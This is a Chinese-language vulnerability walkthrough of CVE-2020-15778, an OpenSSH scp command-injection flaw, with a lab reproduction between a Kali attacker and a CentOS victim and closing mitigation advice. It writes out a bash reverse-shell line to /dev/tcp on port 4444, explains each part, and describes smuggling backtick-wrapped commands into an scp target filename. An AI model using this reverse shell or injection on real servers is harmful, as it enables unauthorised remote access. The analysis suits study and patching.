您好,登錄后才能下訂單哦!
這篇文章主要介紹OpenSSH命令注入漏洞的示例分析,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!
漏洞編號(hào):CVE-2020-15778
SCP(secure copy)是一個(gè)在兩臺(tái)計(jì)算機(jī)之間拷貝文件的程序,使用ssh協(xié)議實(shí)現(xiàn)。默認(rèn)包含在大多數(shù)的linux和unix發(fā)行版中。該程序由openssh的scp.c及其他相關(guān)代碼實(shí)現(xiàn)。
出現(xiàn)漏洞的根本原因在于,scp.c文件的某個(gè)位置中,對(duì)遠(yuǎn)程命令參數(shù)沒有做好過濾,導(dǎo)致可遠(yuǎn)程執(zhí)行任意命令。詳細(xì)分析,往下看。
1. 目標(biāo)服務(wù)器openssh版本<=openssh-8.3 p1
2. 目標(biāo)服務(wù)器scp可用
3. 目標(biāo)服務(wù)器ssh密碼已知
可在目標(biāo)服務(wù)器上傳腳本,執(zhí)行任意命令,getshell。
在已知ssh密碼,但禁止ssh遠(yuǎn)程登陸的情況下,可嘗試?yán)迷撀┒矗琯etshell。
分析如下鏈接中,scp.c的第989行代碼:
https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989
從以上代碼中可知,當(dāng)使用scp復(fù)制文件到遠(yuǎn)程服務(wù)器時(shí),在scp命令后面添加文件的路徑,命令如下:
scp SourceFile user@host:directory/TargetFile
在遠(yuǎn)程目標(biāo)服務(wù)器上,上述命令將會(huì)按照下面的形式本地執(zhí)行:
scp -t directory/TargetFile
在目標(biāo)服務(wù)器創(chuàng)建本地scp命令的同時(shí),并沒有過濾文件名。攻擊者可以使用反引號(hào)包裹payload然后加上文件名執(zhí)行scp命令。目標(biāo)服務(wù)器將會(huì)執(zhí)行反引號(hào)中的命令。
攻擊機(jī) | kali | 192.168.110.128 |
受害機(jī) | centos | 192.168.110.130 |
在kali上創(chuàng)建一個(gè)名為kali.sh的文件,用來getshell。kali.sh文件內(nèi)容:
bash -i >& /dev/tcp/192.168.110.128/4444 0>&1
反彈shell命令解析如下:
命令 | 說明 |
bash -i | 產(chǎn)生一個(gè)交互式bash |
>& /dev/tcp/192.168.110.128/4444 | 建立TCP連接,并將標(biāo)準(zhǔn)輸出和錯(cuò)誤重定向到TCP連接 |
0>&1 | 從TCP連接獲取輸入 |
將kali.sh文件通過scp命令,遠(yuǎn)程傳輸?shù)絚entos中的指定目錄下:
在centos中可找到傳輸?shù)膋ali.sh文件:
在kali上監(jiān)聽4444端口:
執(zhí)行下面的poc,執(zhí)行上傳的反彈shell:
可觀察到,kali已經(jīng)成功連接到centos:
在linux中,反引號(hào)中的內(nèi)容將會(huì)被當(dāng)作shell命令執(zhí)行。要注意,這里poc中用的是反引號(hào),不是單引號(hào)。
1. 更新openssh到最新版本
2. 禁用scp
3. 確保ssh密碼的安全性,防止被泄露或暴力破解
以上是“OpenSSH命令注入漏洞的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。